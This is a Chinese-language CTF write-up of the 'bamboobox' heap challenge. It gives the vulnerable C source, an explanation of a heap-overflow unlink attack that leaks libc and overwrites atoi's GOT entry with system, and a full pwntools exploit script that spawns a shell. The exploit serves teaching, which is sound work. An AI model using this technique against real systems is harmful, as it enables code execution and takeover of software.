unlink-堆溢出题目

unlink-堆溢出题目

首先,我们先来看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
int size ;
char *name ;
};

struct item itemlist[100] = {0};

int num ;

void hello_message(){
puts("There is a box with magic");
puts("what do you want to do in the box");
}

void goodbye_message(){
puts("See you next time");
puts("Thanks you");
}

struct box{
void (*hello_message)();
void (*goodbye_message)();
};

void menu(){
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}


void show_item(){
int i ;
if(!num){
puts("No item in the box");
}else{
for(i = 0 ; i < 100; i++){
if(itemlist[i].name){
printf("%d : %s",i,itemlist[i].name);
}
}
puts("");
}
}

int add_item(){

char sizebuf[8] ;
int length ;
int i ;
int size ;
if(num < 100){
printf("Please enter the length of item name:");
read(0,sizebuf,8);
length = atoi(sizebuf);
if(length == 0){
puts("invaild length");
return 0;
}
for(i = 0 ; i < 100 ; i++){
if(!itemlist[i].name){
itemlist[i].size = length ;
itemlist[i].name = (char*)malloc(length);
printf("Please enter the name of item:");
size = read(0,itemlist[i].name,length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}

}else{
puts("the box is full");
}
return 0;
}



void change_item(){

char indexbuf[8] ;
char lengthbuf[8];
int length ;
int index ;
int readsize ;

if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
printf("Please enter the length of item name:");
read(0,lengthbuf,8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0,itemlist[index].name,length);
*(itemlist[index].name + readsize) = '\x00';
}else{
puts("invaild index");
}

}

}

void remove_item(){
char indexbuf[8] ;
int index ;

if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
free(itemlist[index].name);
itemlist[index].name = 0 ;
itemlist[index].size = 0 ;
puts("remove successful!!");
num-- ;
}else{
puts("invaild index");
}
}
}

void magic(){
int fd ;
char buffer[100];
fd = open("/home/bamboobox/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}

int main(){

char choicebuf[8];
int choice;
struct box *bamboo ;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message ;
bamboo->hello_message();

while(1){
menu();
read(0,choicebuf,8);
choice = atoi(choicebuf);
switch(choice){
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;

}
}

return 0 ;
}

是一个菜单题目,这道题可以看到change_item函数在修改chunk的时候,没有做长度的限制,所以我们可以进行堆溢出,伪造一个chunk然后去unlink,伪造chunk去unlink是因为itemlist里面的name记录的是chunk的数据区的开始:

我们先申请三个0x80的堆空间:

1

然后调用change_item函数操作第二块chunk,来溢出到第三块chunk,并且伪造chunk,伪造fd,bk指针:

2

这样我们就伪造了一块大小为0x80的chunk,并且伪造fd与bk指针,可以让其绕过unlink的检查而顺利unlink:

3

接下来,我们free掉第三个chunk,由于我们溢出修改了第三个chunk的size的P位,使其由1变为0,所以它将认为上一块的chunk是已经free掉的chunk,所以上一块chunk会执行unlink操作,并且与第三个chunk进行合并操作:

4

这时候合并的操作也做完了,那么依据unlink的特征,此时itemlist的*name的值也会发生改变:

5

那么我们就可以操作0x6020c0这一块地方了,我们调用change_item函数,传入参数1,0x80,p64(0)+p64(atoi_got)就可以修改0x6020c0处的数据了,然后我们用show_item函数,就可以得到atoi函数的真实地址,减去该函数的偏移,就可以得到libc地址,继而获取system函数的真实地址:

6

7

我们继续使用change_item函数,传入参数0,0x8,p64(system_addr)就可以改写atoi的got,下次调用atoi函数的时候,就变成了调用system函数,依据上面的c代码,我们在改写完成后输入sh就可以拿到shell了:

8

结束,最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

context.terminal = ['tmux', 'splitw', '-h']



sh = process("./bam")



def add_item(size,content):

sh.recvuntil(":")

sh.sendline("2")

sh.recvuntil(":")

sh.sendline(str(size))

sh.recvuntil(":")

sh.sendline(content)



def change_item(index,size,content):

sh.recvuntil(":")

sh.sendline("3")

sh.recvuntil(":")

sh.sendline(str(index))

sh.recvuntil(":")

sh.sendline(str(size))

sh.recvuntil(":")

sh.sendline(content)



def remove_item(index):

sh.recvuntil(":")

sh.sendline("4")

sh.recvuntil(":")

sh.sendline(str(index))



def show_item():

sh.recvuntil(":")

sh.sendline("1")



add_item(0x80,"a") #0

add_item(0x80,"b") #1

add_item(0x80,"c") #2



change_item(1,0x200,p64(0)+p64(0x81)+p64(0x6020d8-0x18)+p64(0x6020d8-0x10)+"A"*(0x60)+p64(0x80)+p64(0x90))



remove_item(2)

atoi_got = 0x602068

change_item(1,0x80,p64(0)+p64(atoi_got))

show_item()



sh.recvuntil("0 : ")

libc = u64(sh.recv(6).ljust(8,"\x00")) - 0x36e90



print "libc------>",hex(libc)



system_addr = libc + 0x453a0

change_item(0,0x8,p64(system_addr))

sh.interactive()